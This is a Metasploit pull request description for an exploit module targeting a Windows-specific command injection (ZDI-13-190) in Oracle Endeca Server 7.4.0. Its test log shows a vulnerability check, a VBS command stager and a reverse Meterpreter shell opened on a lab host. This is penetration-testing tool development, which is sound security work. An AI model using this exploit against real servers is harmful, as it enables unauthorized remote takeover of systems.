rapid7/metasploit-framework — pull request #2269 by jvazquez-r7 (2013-08-21 18:03:40+00:00)
Title: Add module for ZDI-13-190

Tested successfully with Oracle Endeca Server 7.4.0.787 / Microsoft Windows 2008 R2. Oracle Endeca Server can be downloaded from: http://www.oracle.com/technetwork/middleware/endecaserver/downloads/endeca-server-downloads-1721978.html

The vulnerable method only exists on the 7.4.0 branch and isn't available on the 7.5.5.1 branch. On the other hand, the injection has been found to be Windows specific. This module has been tested successfully on Endeca Server 7.4.0.787 over Windows 2008 R2 (64 bits).

Test:

```
msf exploit(oracle_endeca_exec) > check

[*] 192.168.172.201:7770 - Version found: Oracle Endeca Server 7.4.0.787
[+] The target is vulnerable.
msf exploit(oracle_endeca_exec) > exploit

[*] Started reverse handler on 192.168.172.1:4444
[*] 192.168.172.201:7770 - Exploiting by deploying a VBS CMD Stager...
[*] Command Stager progress - 7.42% done (7499/101079 bytes)
[*] Command Stager progress - 14.84% done (14998/101079 bytes)
[*] Command Stager progress - 22.26% done (22497/101079 bytes)
[*] Command Stager progress - 29.68% done (29996/101079 bytes)
[*] Command Stager progress - 37.09% done (37495/101079 bytes)
[*] Command Stager progress - 44.51% done (44994/101079 bytes)
[*] Command Stager progress - 51.93% done (52493/101079 bytes)
[*] Command Stager progress - 59.35% done (59992/101079 bytes)
[*] Command Stager progress - 66.77% done (67491/101079 bytes)
[*] Command Stager progress - 74.19% done (74990/101079 bytes)
[*] Command Stager progress - 81.61% done (82489/101079 bytes)
[*] Command Stager progress - 89.03% done (89988/101079 bytes)
[*] Command Stager progress - 96.45% done (97487/101079 bytes)
[*] Sending stage (751104 bytes) to 192.168.172.201
[*] Command Stager progress - 100.25% done (101335/101079 bytes)
[*] Meterpreter session 1 opened (192.168.172.1:4444 -> 192.168.172.201:49346) at 2013-08-21 12:59:01 -0500

meterpreter > getuid
Server username: WIN-KBF2BO065KF\juan
meterpreter > sysinfo
Computer : WIN-KBF2BO065KF
OS : Windows 2008 R2 (Build 7600).
Architecture : x64 (Current Process is WOW64)
System Language : en_US
Meterpreter : x86/win32
meterpreter > exit -y
[*] Shutting down Meterpreter...

[*] 192.168.172.201 - Meterpreter session 1 closed. Reason: User exit

```